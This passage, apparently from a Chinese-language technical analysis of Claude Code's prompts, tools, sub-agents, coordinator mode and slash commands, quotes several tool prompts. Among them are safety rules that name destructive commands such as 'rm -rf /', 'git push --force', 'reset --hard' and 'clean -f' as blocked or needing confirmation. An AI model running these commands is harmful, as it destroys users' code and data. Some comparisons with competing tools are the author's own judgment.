`Fast mode for Claude Code uses the same ${FRONTIER_MODEL_NAME} model with
faster output. It does NOT switch to a different model.`
```

环境信息不只是告诉模型"你在哪"，还包含了**模型自我认知**和**产品能力边界**。

### 2.4 系统提示词的缓存架构

```typescript
// constants/prompts.ts
// Boundary marker separating static (cross-org cacheable) content from
// dynamic content. Everything BEFORE this marker in the system prompt array
// can use scope: 'global'. Everything AFTER contains user/session-specific
// content and should not be cached.
```

代码里还有一个 `systemPromptSection()` 函数，用标签（如 `'session_guidance'`、`'memory'`、`'language'`）管理动态 section，支持按需计算和缓存失效追踪。

---

## 三、工具设计分析

### 3.1 Tool 接口定义

`Tool.ts` 定义了工具的核心接口（类型定义文件，~100 行内主要是 type 声明）。关键字段包括：
- `name` — 工具名
- `description` — 给模型看的描述
- `inputSchema` — JSON Schema 参数定义
- `isAvailable` — 运行时可用性检查
- `permissions` — 权限要求

### 3.2 BashTool — 最复杂的安全边界

BashTool 的提示词是所有工具里最长的，因为它承担了"万能工具"的角色，同时需要强约束。

**工具偏好复述**（在工具级提示词里再强化一遍，和系统提示词形成双重约束）：

```
File search: Use Glob (NOT find or ls)
Content search: Use Grep (NOT grep or rg)
Read files: Use Read (NOT cat/head/tail)
Edit files: Use Edit (NOT sed/awk)
Write files: Use Write (NOT echo >/cat <<EOF)
Communication: Output text directly (NOT echo/printf)
```

**Sleep 命令管控**（防止 token 浪费）：

```
Do not sleep between commands that can run immediately — just run them.
If your command is long running and you would like to be notified when
it finishes — use `run_in_background`. No sleep needed.
Do not retry failing commands in a sleep loop — diagnose the root cause.
`sleep N` as the first command with N ≥ 2 is blocked.
```

**你可能没注意到的设计细节**：`sleep N as the first command with N ≥ 2 is blocked`——这不是提示词约束，是代码层硬限制。模型可以用 `sleep` 做第二条命令，但不能做第一条。这个设计精准打击了一种特定的 token 浪费模式：模型在每轮对话开头都 `sleep 5` "等一等"，消耗 5 秒的 API 时间但什么都没做。同时 `run_in_background` 提供了正规的后台执行路径——不是简单地禁止等待，而是给了更好的替代方案。这种"禁止坏模式 + 提供好替代"的配对设计在 BashTool 里反复出现。

**Git 安全协议**：

```
NEVER update the git config
NEVER run destructive commands (push --force, reset --hard, checkout .,
  restore ., clean -f, branch -D) unless the user explicitly requests
NEVER skip hooks (--no-verify, --no-gpg-sign, etc)
NEVER run force push to main/master
```

**Sandbox 模式**：BashTool 支持沙箱运行，限制文件系统和网络访问。提示词里包含了沙箱配置的完整 JSON 描述，让模型知道边界在哪。

### 3.3 FileEditTool — 精确编辑

```
Performs exact string replacements in files.

- You must use your Read tool at least once in the conversation before editing.
  This tool will error if you attempt an edit without reading the file.
- When editing text from Read tool output, ensure you preserve the exact
  indentation (tabs/spaces) as it appears AFTER the line number prefix.
- The edit will FAIL if old_string is not unique in the file. Either provide
  a larger string with surrounding context to make it unique or use replace_all
```

关键设计：**强制先读后写**。不允许模型凭记忆或猜测编辑文件，必须先 Read 获取真实内容。

### 3.4 WebFetchTool — 二级模型处理

```typescript
export function makeSecondaryModelPrompt(
  markdownContent: string,
  prompt: string,
  isPreapprovedDomain: boolean,
): string {
  // 预批准域名：允许引用原文
  // 非预批准域名：严格限制引用长度（125 字符），禁止逐字复制
}
```

抓取的网页内容先用一个小模型（fast model）处理，再把摘要返回给主模型。非预批准域名还有版权保护限制。

### 3.5 TodoWriteTool — 任务管理的提示词工程

TodoWriteTool 的提示词长达数百行，包含大量 few-shot examples。核心设计：

**明确的使用场景**（3+ 步骤才用）：
```
1. Complex multi-step tasks - 3 or more distinct steps
2. Non-trivial and complex tasks
3. User explicitly requests todo list
4. User provides multiple tasks
5. After receiving new instructions
```

**明确的不使用场景**：
```
1. Only a single, straightforward task
2. Task is trivial
3. Less than 3 trivial steps
4. Purely conversational or informational
```

**任务状态管理**：
```
- pending: Task not yet started
- in_progress: Currently working on (limit to ONE task at a time)
- completed: Task finished successfully

IMPORTANT: Task descriptions must have two forms:
- content: imperative form ("Run tests")
- activeForm: present continuous ("Running tests")
```

提示词里包含 8 个正例和 4 个反例，通过 few-shot 明确边界。

### 3.6 工具提示词原文摘录

以下三个工具的提示词展示了 Claude Code 如何通过工具描述层做行为约束。这些描述不是给用户看的文档，而是**给模型看的即时指令**——模型在决定是否调用某工具时会重新阅读这些描述。

#### GrepTool — 搜索工具

```typescript
// tools/GrepTool/prompt.ts
export function getDescription(): string {
  return `A powerful search tool built on ripgrep

  Usage:
  - ALWAYS use Grep for search tasks. NEVER invoke \`grep\` or \`rg\` as
    a Bash command. The Grep tool has been optimized for correct permissions
    and access.
  - Supports full regex syntax (e.g., "log.*Error", "function\\s+\\w+")
  - Filter files with glob parameter (e.g., "*.js", "**/*.tsx") or type
    parameter (e.g., "js", "py", "rust")
  - Output modes: "content" shows matching lines, "files_with_matches"
    shows only file paths (default), "count" shows match counts
  - Use Agent tool for open-ended searches requiring multiple rounds
  - Pattern syntax: Uses ripgrep (not grep) - literal braces need escaping
    (use \`interface\\{\\}\` to find \`interface{}\` in Go code)
  - Multiline matching: By default patterns match within single lines only.
    For cross-line patterns like \`struct \\{[\\s\\S]*?field\`,
    use \`multiline: true\`
`
}
```

**产品意图**：第一条指令就用 `ALWAYS... NEVER` 的强约束格式，把模型从 Bash 的 `grep`/`rg` 路径上拉回来。这和系统提示词里的 "Do NOT use the Bash tool to run commands when a relevant dedicated tool is provided" 形成**双重约束**。模型在工具选择阶段看到这段话，相当于一个即时决策锚点。

#### GlobTool — 文件匹配工具

```typescript
// tools/GlobTool/prompt.ts
export const DESCRIPTION =
  `- Fast file pattern matching tool that works with any codebase size
- Supports glob patterns like "**/*.js" or "src/**/*.ts"
- Returns matching file paths sorted by modification time
- Use this tool when you need to find files by name patterns
- When you are doing an open ended search that may require multiple rounds
  of globbing and grepping, use the Agent tool instead`
```

**产品意图**：最后一行是关键——把"多次搜索"的需求**分流到 Agent tool**，避免模型在主对话里做 5-6 轮 glob/grep 轮询撑爆上下文。这是工具编排层面的上下文保护策略。

#### AskUserQuestionTool — 用户交互工具

```typescript
// tools/AskUserQuestionTool/prompt.ts
export const DESCRIPTION =
  'Asks the user multiple choice questions to gather information, clarify
   ambiguity, understand preferences, make decisions or offer them choices.'

export const ASK_USER_QUESTION_TOOL_PROMPT = `Use this tool when you need
to ask the user questions during execution. This allows you to:
1. Gather user preferences or requirements
2. Clarify ambiguous instructions
3. Get decisions on implementation choices as you work
4. Offer choices to the user about what direction to take.

Usage notes:
- Users will always be able to select "Other" to provide custom text input
- Use multiSelect: true to allow multiple answers to be selected
- If you recommend a specific option, make that the first option in the
  list and add "(Recommended)" at the end of the label

Plan mode note: In plan mode, use this tool to clarify requirements or
choose between approaches BEFORE finalizing your plan. Do NOT use this
tool to ask "Is my plan ready?" or "Should I proceed?" - use
ExitPlanMode for plan approval. IMPORTANT: Do not reference "the plan"
in your questions because the user cannot see the plan in the UI until
you call ExitPlanMode.
`
```

还支持 preview 功能——选项可以附带 HTML 或 Markdown 预览，UI 会自动切换到左右分栏布局：

```typescript
export const PREVIEW_FEATURE_PROMPT = {
  markdown: `Use the optional preview field on options when presenting
concrete artifacts that users need to visually compare:
- ASCII mockups of UI layouts or components
- Code snippets showing different implementations`,
  html: `Preview content must be a self-contained HTML fragment
(no <html>/<body> wrapper, no <script> or <style> tags)`,
}
```

**产品意图**：这个工具解决了一个真实的产品问题——LLM 默认的"问用户"方式是输出一段自然语言问题，用户得打字回复。多选 + 推荐项 + "Other"出口的设计，把交互成本从"打字"降到"点击"。Plan mode 的特殊约束更值得注意：禁止问"计划好了吗"，因为用户在 UI 上看不到计划内容——这是一个**UI/工具联动**的设计决策。

#### BashTool 提示词中的 Git Safety Protocol

BashTool 的完整提示词很长（~300 行），但其中的 Git 安全协议值得单独摘出来：

```
- DO NOT use git commands: --force, --hard, --prune, or branch -D
  unless the user explicitly asked you to. Rewrite questions (like
  "can you squash my commits?") are OK to proceed.
- Interactive rebase (git rebase -i) is NOT supported in non-interactive
  mode. Use git log to identify commits, then use git reset or other
  non-interactive commands.
- If the user asked you to do something that requires --force (like
  rewriting history), check with the user first.
```

**产品意图**：不是禁用 force push，而是要求"用户明确要求才行"。这是可逆性分级管控在工具层的落地——系统提示词定义原则（Actions section），工具描述给出具体规则（哪些 flag 需要确认）。

#### EnterPlanModeTool — 计划模式的完整提示词

EnterPlanModeTool 的提示词不只是"进入计划模式"这么简单，它定义了 Agent 在计划模式下的完整行为边界：

```
// tools/EnterPlanModeTool/prompt.ts（摘要）

Enter plan mode. In this mode, you can:
- Read files and search the codebase freely
- Run read-only commands (git log, git diff, tests in read-only mode)
- Ask the user clarifying questions using AskUserQuestionTool

You CANNOT:
- Edit, create, or delete files
- Run commands that mutate state (git commit, npm install, etc.)
- Make HTTP requests that have side effects

You MUST:
- Understand the current state of the code relevant to the task
- Identify all files that need to change
- Write a clear plan with specific file paths, line numbers, and
  descriptions of each change
- Call ExitPlanModeTool when your plan is ready

When asking clarifying questions in plan mode:
- Do NOT ask "Is my plan ready?" or "Should I proceed?" — use
  ExitPlanMode for plan approval
- Do NOT reference "the plan" in questions — the user cannot see
  the plan until you call ExitPlanMode
- Use AskUserQuestionTool to clarify requirements or choose between
  approaches BEFORE finalizing your plan
```

**产品意图**：这段提示词的值得注意的之处在于三件事的联动——
1. **工具层硬约束**：写权限工具在 plan mode 下不可用（不是提示词说"别改"，是真的调不了）
2. **输出结构化**：计划不是一段自然语言，而是包含文件路径和行号的结构化输出
3. **UI 联动**：ExitPlanMode 把计划传给 UI 的专门审批界面，用户看到的是可展开的变更列表而不是聊天记录里的文本

`Do NOT reference "the plan"` 这条约束尤其值得注意——它说明工具设计者预判到了模型会犯的错误：在计划还没展示给用户时就假设用户已经看到了。这种"预判模型的预判"在 Claude Code 的提示词里反复出现。

#### BashTool 的安全沙箱描述

BashTool 还支持沙箱模式，提示词中包含了完整的沙箱配置描述：

```
When sandbox mode is enabled, your commands run in an isolated environment
with restricted filesystem and network access. The sandbox configuration
specifies:
- allowedRoots: directories you can read and write
- networkAllowlist: hosts you can connect to
- readPaths: additional read-only paths
- blockedCommands: commands that are always blocked (rm -rf /, etc.)
```

**产品意图**：沙箱配置被完整注入到工具描述里，让模型知道边界在哪。这比"你在沙箱里运行"更有用——模型看到 `allowedRoots: ["/workspace"]`，就知道只能操作 `/workspace` 下的文件，不会尝试去读 `/etc/passwd`。类比：你告诉工人"这里施工"和给他一张标注了禁区的平面图，后者的行为约束力强得多。

---

## 四、子 Agent 体系

### 4.1 内置 Agent 类型

源码中有 6 个内置 Agent：

| Agent | 用途 | 模型 | 可写文件 |
|-------|------|------|----------|
| `Explore` | 代码搜索 | haiku（外部）/ inherit（内部） | ❌ 只读 |
| `Plan` | 架构规划 | inherit | ❌ 只读 |
| `general-purpose` | 通用任务 | 默认子 Agent 模型 | ✅ |
| `verification` | 验证实现 | inherit | ❌ 只读（tmp 允许） |
| `statusline-setup` | 状态栏配置 | 待确认 | 待确认 |
| `claude-code-guide` | 使用指南 | 待确认 | 待确认 |

### 4.2 Explore Agent

最精细的只读 Agent 设计：

```
=== CRITICAL: READ-ONLY MODE - NO FILE MODIFICATIONS ===
This is a READ-ONLY exploration task. You are STRICTLY PROHIBITED from:
- Creating new files
- Modifying existing files
- Deleting files
- Creating temporary files anywhere, including /tmp
- Using redirect operators (>, >>, |) or heredocs to write to files
```

通过 `disallowedTools` 从工具层面硬限制，不只靠提示词。

### 4.3 Verification Agent — 最精彩的 Agent 设计

Verification Agent 的提示词是整个代码库里信息密度最高的段落之一。

**对抗自身的自欺倾向**：

```
You have two documented failure patterns. First, verification avoidance:
when faced with a check, you find reasons not to run it — you read code,
narrate what you would test, write "PASS," and move on. Second, being
seduced by the first 80%: you see a polished UI or a passing test suite
and feel inclined to pass it, not noticing half the buttons do nothing.
```

**识别自己的合理化借口**：

```
You will feel the urge to skip checks. These are the exact excuses you
reach for — recognize them and do the opposite:
- "The code looks correct based on my reading" — reading is not verification. Run it.
- "The implementer's tests already pass" — the implementer is an LLM. Verify independently.
- "This is probably fine" — probably is not verified. Run it.
- "Let me start the server and check the code" — no. Start the server and hit the endpoint.
- "I don't have a browser" — did you actually check for mcp__claude-in-chrome__*?
```

**输出格式强制**：每个 PASS 必须包含实际执行的命令和输出，纯代码阅读不算验证。

```
Bad:
### Check: POST /api/register validation
**Result: PASS**
Evidence: Reviewed the route handler. The logic correctly validates...

Good:
### Check: POST /api/register rejects short password
**Command run:**
  curl -s -X POST localhost:8000/api/register ...
**Output observed:**
  {"error": "password must be at least 8 characters"}
**Result: PASS**
```

**最终判决格式**：

```
VERDICT: PASS
or
VERDICT: FAIL
or
VERDICT: PARTIAL
```

PARTIAL 只用于环境限制（缺工具、起不来服务），不能用于"我不确定这是不是 bug"。

### 4.4 Fork 子 Agent 模式

Fork 是一种轻量级子 Agent，与父 Agent 共享 prompt cache：

```
Calling Agent without a subagent_type creates a fork, which runs in the
background and keeps its tool output out of your context.

Forks are cheap because they share your prompt cache. Don't set model on
a fork — a different model can't reuse the parent's cache.
```

关键行为约束：
- **Don't peek** — 不要读 fork 的 output_file，等通知
- **Don't race** — 不要伪造或预测 fork 的结果
- **Prompt 是指令** — fork 继承上下文，prompt 只写"做什么"，不写背景

---

## 五、Coordinator 模式 — 多 Agent 编排

### 5.1 角色定义

Coordinator 是一个**编排器**，不直接执行代码操作：

```
You are a coordinator. Your job is to:
- Help the user achieve their goal
- Direct workers to research, implement and verify code changes
- Synthesize results and communicate with the user
- Answer questions directly when possible — don't delegate work that
  you can handle without tools
```

### 5.2 工作流阶段

| 阶段 | 执行者 | 目的 |
|------|--------|------|
| Research | Workers（并行） | 调研代码、找文件、理解问题 |
| Synthesis | **Coordinator** | 读结果、理解问题、写实现规格 |
| Implementation | Workers | 按规格修改代码 |
| Verification | Workers | 测试变更 |

**Synthesis 阶段是 Coordinator 的核心价值**。提示词明确要求：

```
When workers report research findings, you must understand them before
directing follow-up work. Read the findings. Identify the approach. Then
write a prompt that proves you understood by including specific file paths,
line numbers, and exactly what to change.

Never write "based on your findings" or "based on the research." These
phrases delegate understanding to the worker instead of doing it yourself.
```

### 5.3 Continue vs Spawn 决策

```
| Situation | Mechanism | Why |
|-----------|-----------|-----|
| Research explored exactly the files that need editing | Continue | Worker already has files in context |
| Research was broad but implementation is narrow | Spawn fresh | Avoid exploration noise |
| Correcting a failure | Continue | Worker has error context |
| Verifying code a different worker wrote | Spawn fresh | Fresh eyes |
| First attempt used wrong approach | Spawn fresh | Clean slate |
```

### 5.4 Worker 通知机制

Worker 结果以 `<task-notification>` XML 的形式作为 user-role message 回传给 Coordinator：

```xml
<task-notification>
<task-id>{agentId}</task-id>
<status>completed|failed|killed</status>
<summary>{human-readable status summary}</summary>
<result>{agent's final text response}</result>
<usage>
  <total_tokens>N</total_tokens>
  <tool_uses>N</tool_uses>
  <duration_ms>N</duration_ms>
</usage>
</task-notification>
```

---

## 六、上下文生命周期管理

### 6.1 三级压缩体系

1. **Microcompact** — 后台自动清理旧的工具结果，保留最近 N 条
2. **Compact** — 将对话历史压缩为摘要，由专门的 summarization prompt 驱动
3. **Dream** — 离线记忆整理，将近期学习综合为持久化记忆

### 6.2 Function Result Clearing

```typescript
// Microcompact 提示词
`Old tool results will be automatically cleared from context to free up
space. The ${config.keepRecent} most recent results are always kept.`
```

模型收到的指令是："把重要信息写在回复里，因为原始工具结果可能被清除。"

### 6.3 Dream — 记忆整理

Dream 的提示词分四个阶段：

**Phase 1 — Orient**：`ls` 记忆目录，读入口文件，浏览已有主题文件

**Phase 2 — Gather recent signal**：按优先级从日志、现有记忆、transcript 中找新信息

**Phase 3 — Consolidate**：
- 合并新信号到现有主题文件（不重复建）
- 把相对日期转绝对日期
- 删除被证伪的事实

**Phase 4 — Prune and index**：
- 入口文件保持 ≤25KB
- 每条目一行 ≤150 字符
- 删除过时指针，缩短过长条目

---

## 七、命令系统

`commands.ts` 注册了大量斜杠命令。按功能分类：

### 开发工作流
- `/commit` — 创建 git commit
- `/commit-push-pr` — commit + push + 创建 PR
- `/review` / `/ultrareview` — 代码审查
- `/security-review` — 安全审查
- `/diff` — 查看差异
- `/branch` — 分支管理

### 上下文管理
- `/compact` — 压缩对话历史
- `/clear` — 清除对话/缓存
- `/context` — 查看上下文使用情况
- `/rewind` — 回退对话

### 配置与工具
- `/config` — 配置管理
- `/mcp` — MCP 服务器管理
- `/model` — 模型切换
- `/fast` — 快速模式切换
- `/permissions` — 权限模式
- `/hooks` — 钩子配置
- `/sandbox` — 沙箱管理

### Agent 与 Skill
- `/agents` — Agent 管理
- `/skills` — Skill 管理
- `/plan` — 进入计划模式
- `/init` — 初始化项目

### 产品功能
- `/cost` / `/usage` — 费用/用量
- `/doctor` — 诊断
- `/help` — 帮助
- `/theme` / `/color` — 主题
- `/vim` — Vim 模式
- `/status` — 状态

### 实验性功能（feature-flagged）
- `/proactive` — 自主工作模式
- `/brief` — 简报模式
- `/bridge` — 远程桥接
- `/voice` — 语音模式
- `/buddy` — Buddy 助手
- `/fork` — Fork 子 Agent

命令系统的设计哲学：**斜杠命令 = prompt 模板 + 上下文注入**。不是简单的宏，而是带参数的 prompt 构造器。

### 7.1 全量命令分类表

`COMMANDS` 数组注册 71 个命令（含 feature-flagged），另有 25 个内部命令。按产品意图分五类：

#### 核心工作流命令（对话生命周期）

| 命令 | 说明 | 类型 |
|------|------|------|
| `/compact` | 压缩对话历史为摘要，保留上下文同时释放 token | local |
| `/clear` | 清除对话历史和缓存，重新开始 | local |
| `/resume` | 恢复之前的对话会话（别名 `/continue`） | prompt |
| `/session` | 显示远程会话 URL 和 QR 码，支持移动端接入 | local |
| `/exit` | 退出 REPL | local |
| `/rename` | 重命名当前对话 | local |
| `/tag` | 给会话加可搜索标签 | local |
| `/export` | 将对话导出为文件或剪贴板 | local |
| `/rewind` | 将代码和对话恢复到之前的某个时间点 | local |
| `/branch` | 在当前对话的某个节点创建分支（别名 `/fork`） | local |
| `/context` | 以彩色网格可视化当前上下文使用情况 | local-jsx |
| `/files` | 列出当前上下文中追踪的所有文件 | local |
| `/memory` | 编辑 Claude 记忆文件（用户级/项目级） | local |
| `/init` | 初始化项目，扫描代码库生成 CLAUDE.md | prompt |
| `/plan` | 启用计划模式或查看当前计划 | local |

#### 代码分析与审查命令

| 命令 | 说明 | 类型 |
|------|------|------|
| `/diff` | 查看未提交变更和每轮对话的 diff | local |
| `/review` | 审查 Pull Request，生成代码审查报告 | prompt |
| `/ultrareview` | 深度代码审查（多维度） | prompt |
| `/security-review` | 对当前分支变更做安全审查 | prompt |
| `/pr-comments` | 获取 GitHub PR 的评论 | prompt |
| `/advisor` | 配置 advisor 模型（辅助分析） | local |

#### 扩展与集成管理命令

| 命令 | 说明 | 类型 |
|------|------|------|
| `/mcp` | 管理 MCP 服务器（启用/禁用/配置） | local |
| `/plugin` | 管理插件 | local |
| `/reload-plugins` | 在当前会话中激活待处理的插件变更 | local |
| `/skills` | 列出可用的 Skills | local |
| `/agents` | 管理 Agent 配置 | local |
| `/hooks` | 查看工具事件的钩子配置 | local |
| `/permissions` | 管理工具权限的 allow/deny 规则 | local |
| `/sandbox` | 管理沙箱设置（沙箱隔离、自动允许等） | local |
| `/install-github-app` | 为仓库设置 Claude GitHub Actions | local |
| `/install-slack-app` | 安装 Claude Slack 应用 | local |
| `/ide` | 管理 IDE 集成和显示状态 | local |
| `/chrome` | Claude in Chrome (Beta) 设置 | local |
| `/desktop` | 将当前会话转到 Claude Desktop | local |
| `/mobile` | 显示下载 Claude 移动应用的 QR 码 | local |
| `/add-dir` | 添加新的工作目录 | local |

#### 调试与诊断命令

| 命令 | 说明 | 类型 |
|------|------|------|
| `/doctor` | 诊断和验证 Claude Code 安装与设置 | local-jsx |
| `/status` | 显示版本、模型、账号、API 连通性和工具状态 | local |
| `/cost` | 显示当前会话的总费用和时长 | local |
| `/usage` | 显示计划用量限制 | local |
| `/stats` | 显示 Claude Code 使用统计和活动 | local |
| `/extra-usage` | 配置超额使用，用量到顶后继续工作 | local |
| `/rate-limit-options` | 显示遇到速率限制时的可选项 | local |
| `/heapdump` | 将 JS 堆导出到 ~/Desktop（隐藏命令） | local |
| `/terminal-setup` | 配置终端快捷键（如 Option+Enter 换行） | local |

#### 体验与配置命令

| 命令 | 说明 | 类型 |
|------|------|------|
| `/config` | 打开配置面板 | local |
| `/model` | 切换 AI 模型 | local-jsx |
| `/fast` | 切换快速模式（仅限特定模型） | local |
| `/effort` | 设置模型的 effort 级别 | local |
| `/theme` | 更改终端主题 | local-jsx |
| `/color` | 设置当前会话的提示栏颜色 | local |
| `/vim` | 在 Vim 和普通编辑模式间切换 | local |
| `/keybindings` | 打开或创建快捷键配置文件 | local |
| `/statusline` | 切换状态栏显示 | local |
| `/output-style` | 更改输出风格（已废弃，用 `/config`） | local-jsx |
| `/help` | 显示帮助和可用命令 | local |
| `/copy` | 复制最后一条回复到剪贴板 | local |
| `/feedback` | 提交 Claude Code 反馈 | local |
| `/stickers` | 订购 Claude Code 贴纸 | local |
| `/btw` | 不打断主对话的前提下快速提问 | prompt |
| `/release-notes` | 显示更新日志 | local |
| `/upgrade` | 升级到 Max 获取更高用量限制 | local |
| `/passes` | 分享 Claude Code 免费周给朋友 | local |
| `/privacy-settings` | 查看和更新隐私设置 | local |
| `/thinkback` | 2025 Claude Code 年度回顾 | local |
| `/thinkback-play` | 年度回顾播放模式 | local |
| `/remote-env` | 配置 teleport 会话的默认远程环境 | local |

#### Feature-Flagged 命令（按条件加载）

| 命令 | Feature Flag | 说明 |
|------|-------------|------|
| `/proactive` | `PROACTIVE` / `KAIROS` | 自主工作模式，Agent 自主决定何时行动 |
| `/brief` | `KAIROS` / `KAIROS_BRIEF` | 简报模式 |
| `/assistant` | `KAIROS` | 助手命令 |
| `/bridge` | `BRIDGE_MODE` | 远程桥接模式 |
| `/remote-control-server` | `DAEMON` + `BRIDGE_MODE` | 远程控制服务端 |
| `/voice` | `VOICE_MODE` | 语音交互模式 |
| `/buddy` | `BUDDY` | Buddy 协作助手 |
| `/fork` | `FORK_SUBAGENT` | Fork 子 Agent |
| `/peers` | `UDS_INBOX` | 同伴消息 |
| `/workflows` | `WORKFLOW_SCRIPTS` | 工作流脚本 |
| `/torch` | `TORCH` | 实验性功能 |
| `/web` (remote-setup) | `CCR_REMOTE_SETUP` | 远程设置 |
| `/logout` / `/login` | 非 3P 服务时 | 登录/登出 |

#### 内部命令（仅 Anthropic 内部）

| 命令 | 说明 |
|------|------|
| `/commit` | 创建 git commit |
| `/commit-push-pr` | commit + push + 创建 PR（一条龙） |
| `/issue` | 处理 GitHub issue |
| `/share` | 分享会话 |
| `/summary` | 生成会话摘要 |
| `/teleport` | 远程 teleport |
| `/bughunter` | Bug 猎人模式 |
| `/autofix-pr` | 自动修复 PR |
| `/onboarding` | 新用户引导 |
| `/env` | 环境管理 |
| `/version` | 版本信息 |
| `/good-claude` | 内部好评 |
| `/break-cache` | 打破 prompt cache |
| `/backfill-sessions` | 回填会话 |
| `/init-verifiers` | 初始化验证器 |
| `/mock-limits` | 模拟限制 |
| `/bridge-kick` | 踢出桥接 |
| `/reset-limits` | 重置限制 |
| `/ant-trace` | 内部追踪 |
| `/perf-issue` | 性能问题 |
| `/oauth-refresh` | OAuth 刷新 |
| `/debug-tool-call` | 调试工具调用 |
| `/agents-platform` | Agent 平台管理 |
| `/ctx-viz` | 上下文可视化 |
| `/force-snip` | 强制剪裁（history snip） |
| `/ultraplan` | 超级规划 |
| `/subscribe-pr` | 订阅 PR 变更 |

**产品意图总结**：命令系统不只是快捷键集合，而是一个**意图分发层**。每个命令实际上是三件事的组合：
1. **Prompt 模板**：预置的指令上下文（如 `/review` 注入审查专家提示词）
2. **上下文注入**：自动收集相关数据（如 `/diff` 注入当前 diff）
3. **UI 模式切换**：有些命令切到 JSX 渲染（如 `/model` 的选择器、`/doctor` 的诊断面板）

远程安全命令集（`REMOTE_SAFE_COMMANDS`，17 个）和桥接安全命令集（`BRIDGE_SAFE_COMMANDS`，6 个）的划分，说明团队在移动端/远程场景下做了**最小权限暴露**——只开放不影响终端状态的命令。

---

## 八、8 个设计亮点详细分析

### 亮点 1：系统提示词的 Cache-Aware 分层

**问题**：Claude API 的 prompt cache 按前缀匹配。如果系统提示词包含任何动态内容（如当前日期、工作目录），每次请求都会 cache miss。

**方案**：用 `SYSTEM_PROMPT_DYNAMIC_BOUNDARY` 把提示词切成 static 和 dynamic 两部分。Static 部分跨用户、跨会话共享 `cacheScope: 'global'`。

**代码证据**：
```typescript
return [
  getSimpleIntroSection(outputStyleConfig),     // ← static
  getSimpleSystemSection(),                       // ← static
  getSimpleDoingTasksSection(),                   // ← static
  getActionsSection(),                            // ← static
  getUsingYourToolsSection(enabledTools),         // ← static
  getSimpleToneAndStyleSection(),                 // ← static
  getOutputEfficiencySection(),                   // ← static
  ...(shouldUseGlobalCacheScope()
    ? [SYSTEM_PROMPT_DYNAMIC_BOUNDARY]            // ← boundary
    : []),
  ...resolvedDynamicSections,                     // ← dynamic
]
```

**效果**：代码注释提到 Agent listing 的动态部分曾占 fleet cache_creation tokens 的 ~10.2%，通过改为 attachment 注入修复。

**竞品对比**：Cursor 的系统提示词硬编码在客户端，每次请求都付全额 token 成本——它靠本地模型推理省钱，但在云端 API 场景下这个设计就吃亏了。GitHub Copilot 的缓存优化发生在 IDE 层（重复代码块复用），但没法做到跨会话的全局缓存共享。Claude Code 的做法是把"省钱"从客户端工程问题变成了 API 协议层问题——让 Anthropic 自己的 cache 机制来解决，产品侧只需要做好 static/dynamic 分离。

**产品判断**：cache-aware 分层不只是技术优化，它决定了产品能不能在不亏本的情况下提供长上下文能力。如果每次请求都为几千 token 的系统提示词付费，长对话的成本会指数级上升。这个设计让 Claude Code 可以放心塞更多信息进系统提示词（详细的工具指令、复杂的行为约束），而不担心成本爆炸。其他 AI 编码工具因为没做这个优化，系统提示词普遍更短、更保守——这不是产品选择，是成本倒逼。

### 亮点 2：Verification Agent 的对抗性设计

**问题**：LLM 验证代码实现时有系统性偏差——倾向于看代码"看起来对不对"而不是跑起来验。两个已记录的失败模式：verification avoidance（找理由不跑测试）和 first-80% seduction（被好看的 UI 说服通过）。

**方案**：Verification Agent 的提示词用"元认知"对抗这些偏差：
1. 事先列出自己的合理化借口清单
2. 每个 PASS 必须附带命令和输出
3. 强制至少一个 adversarial probe
4. 输出格式机器可解析（`VERDICT: PASS/FAIL/PARTIAL`）

**代码证据**：`built-in/verificationAgent.ts` 中 ~150 行的 `VERIFICATION_SYSTEM_PROMPT`，几乎全是"如何不被自己骗"的指令。

**效果**：Caller（主 Agent）会 spot-check Verifier 的命令输出，形成验证链条。

**竞品对比**：GitHub Copilot 的 `/test` 命令让模型自己跑测试——同一个模型既写代码又验证代码，自欺偏差无解。Cursor 的 Agent mode 更粗暴：直接把 test output 回填对话，让主模型自己判断通过没通过，没有独立的验证流程。Devin 虽然有独立的验证步骤，但它的验证 prompt 缺少对抗性设计——没有列出自己的合理化借口，没有强制输出实际命令，很容易退化成"代码看起来没问题，PASS"。

**[推测] 产品判断**：验证必须和实现分离，这是工程常识，但大部分 AI 编码工具做不到——因为多一个 Agent 意味着多一轮 LLM 调用、多几千 token。Claude Code 愿意为验证付出这个成本，说明 Anthropic 内部测试过：没有独立验证的 Agent，代码正确率会显著低于有验证的版本。Verification Agent 的 PARTIAL verdict 只允许用于环境限制，不允许用于"我不确定"——堵死了模型偷懒的最后出口。

### 亮点 3：工具偏好 = 提示词 + 工具描述双重约束

**问题**：模型喜欢用 Bash 做一切（因为它"万能"），但 Bash 的输出不利于用户理解和权限管控。

**方案**：在**两个层级**同时约束：
1. **系统提示词**（`Using your tools` section）：宏观指导
2. **BashTool 描述**（`getSimplePrompt()`）：微观再强化

```typescript
// 系统提示词层
"Do NOT use the Bash tool to run commands when a relevant dedicated tool
is provided."

// BashTool 描述层（模型在决定调用 Bash 时会看到）
"Avoid using this tool to run find, grep, cat, head, tail, sed, awk, or
echo commands, unless explicitly instructed."
```

**设计意图**：双重约束防止在上下文变长后模型"忘记"系统提示词的指令。工具描述是模型每次做工具选择时的即时提醒。

**竞品对比**：大部分 AI 编码工具只在系统提示词里写"用专用工具"，然后就指望模型记一辈子。Copilot CLI 的系统提示词有类似约束，但工具描述层没有再强化——模型在 30 轮对话后大概率开始偷用 Bash。Cursor 干脆不约束工具选择，它的 Agent 可以随意用 Bash 做一切，输出格式不受控。Replit Agent 也是同样的问题——万能 Bash 导致用户看到的是一堆 raw terminal output，而不是结构化的搜索结果或编辑 diff。

**代码证据**：双重约束的具体落点——

```typescript
// 系统提示词（getUsingYourToolsSection）
"Do NOT use the Bash tool to run commands when a relevant dedicated tool
is provided. Using dedicated tools allows the user to better understand
and review your work."

// BashTool 描述（getSimplePrompt）——模型每次选择 Bash 时会重新阅读
"File search: Use Glob (NOT find or ls)
Content search: Use Grep (NOT grep or rg)
Read files: Use Read (NOT cat/head/tail)
Edit files: Use Edit (NOT sed/awk)
Write files: Use Write (NOT echo >/cat <<EOF)
Communication: Output text directly (NOT echo/printf)"
```

注意 BashTool 描述用的是 `NOT` + 具体命令名，而系统提示词用的是抽象的"relevant dedicated tool"。工具层的描述更具体、更有可操作性——模型看到 `NOT find` 比看到"请使用专用工具"更容易做出正确判断。

**产品判断**：这个设计的精髓是"在决策点嵌入约束"。类比人类管理：你在员工手册里写"注意安全"没用，得在冲压机上贴"操作前必须戴手套"的标牌。模型每次做工具选择时都会重新阅读工具描述，所以这里的约束比系统提示词开头的约束更"新鲜"。上下文越长，这个优势越明显。

### 亮点 4：Coordinator 的 Synthesis-First 工作流

